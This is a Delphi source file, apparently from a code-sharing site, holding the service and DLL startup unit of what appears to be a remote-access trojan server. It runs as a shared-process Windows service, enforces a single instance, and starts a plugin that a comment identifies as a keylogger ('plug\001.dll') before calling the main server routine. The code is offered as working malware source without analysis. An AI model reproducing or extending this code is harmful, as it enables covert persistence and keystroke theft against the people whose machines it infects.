📄 start.pas
字号:
unit start;
interface
uses
Windows,winsvc,sysutils, MainServer,winsys,winntService;
procedure DLLEntryPoint(dwReason : DWord);
procedure ServiceMain(argc : Integer; var argv : pchar ); stdcall;
implementation
var
// 服务控制信息句柄
SvcStatsHandle: SERVICE_STATUS_HANDLE;
// 存储服务状态
dwCurrState: DWORD;
// 服务名称
procedure ServiceWinMain;
begin
if fileexists(GetDir(0) + 'plug\001.dll') then key; //键盘记录插件
main;
end;
{ 与SCM管理器通话 }
function TellSCM(dwState: DWORD; dwExitCode: DWORD; dwProgress: DWORD ): Boolean;
var
srvStatus: service_status;
begin
srvStatus.dwServiceType := SERVICE_WIN32_SHARE_PROCESS;
dwCurrState := dwState;
srvStatus.dwCurrentState := dwState;
srvStatus.dwControlsAccepted := SERVICE_ACCEPT_STOP or SERVICE_ACCEPT_PAUSE_CONTINUE or SERVICE_ACCEPT_SHUTDOWN;
srvStatus.dwWin32ExitCode := dwExitCode;
srvStatus.dwServiceSpecificExitCode := 0;
srvStatus.dwCheckPoint := dwProgress;
srvStatus.dwWaitHint := 1000;
Result := SetServiceStatus(SvcStatsHandle, srvStatus );
end;
{ Service 控制函数 }
procedure servicehandler(fdwcontrol: integer); stdcall;
begin
case fdwcontrol of
SERVICE_CONTROL_STOP:
begin
TellSCM(SERVICE_STOP_PENDING, 0, 1);
Sleep(10);
TellSCM(SERVICE_STOPPED, 0, 0);
end;
SERVICE_CONTROL_PAUSE:
begin
TellSCM(SERVICE_PAUSE_PENDING, 0, 1);
TellSCM(SERVICE_PAUSED, 0, 0);
end;
SERVICE_CONTROL_CONTINUE:
begin
TellSCM(SERVICE_CONTINUE_PENDING, 0, 1);
TellSCM(SERVICE_RUNNING, 0, 0 );
end;
SERVICE_CONTROL_INTERROGATE: TellSCM(dwCurrState, 0, 0);
SERVICE_CONTROL_SHUTDOWN: TellSCM(SERVICE_STOPPED, 0, 0);
end;
end;
// service main 入口函数
procedure ServiceMain(argc : Integer; var argv : pchar ); stdcall;
begin
//2修改
sleep(3000);
if Not CreatedMutexEx('server') then ExitProcess(0);
// 注册控制函数
SvcStatsHandle := RegisterServiceCtrlHandler(ServiceName, @servicehandler);
if (SvcStatsHandle = 0) then
begin
ExitProcess(0);
end else
begin
end;
TellSCM(SERVICE_START_PENDING, 0, 1);
TellSCM(SERVICE_RUNNING, 0, 0);
OutputDebugString('Service is Running');
// 这里可以执行我们真正要作的代码
while ((dwCurrState <> SERVICE_STOP_PENDING) and (dwCurrState <> SERVICE_STOPPED)) do
begin
ServiceWinMain;
end;
// OutputDebugString('Service Exit');
end;
procedure DLLEntryPoint(dwReason : DWord);
var
TID: dword;
begin
case dwReason of
DLL_PROCESS_ATTACH: CreateThread(nil, 0, @ServiceWinMain, nil, 0, TID);
DLL_PROCESS_DETACH: ;
DLL_THREAD_ATTACH: ;
DLL_THREAD_DETACH: ;
end;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -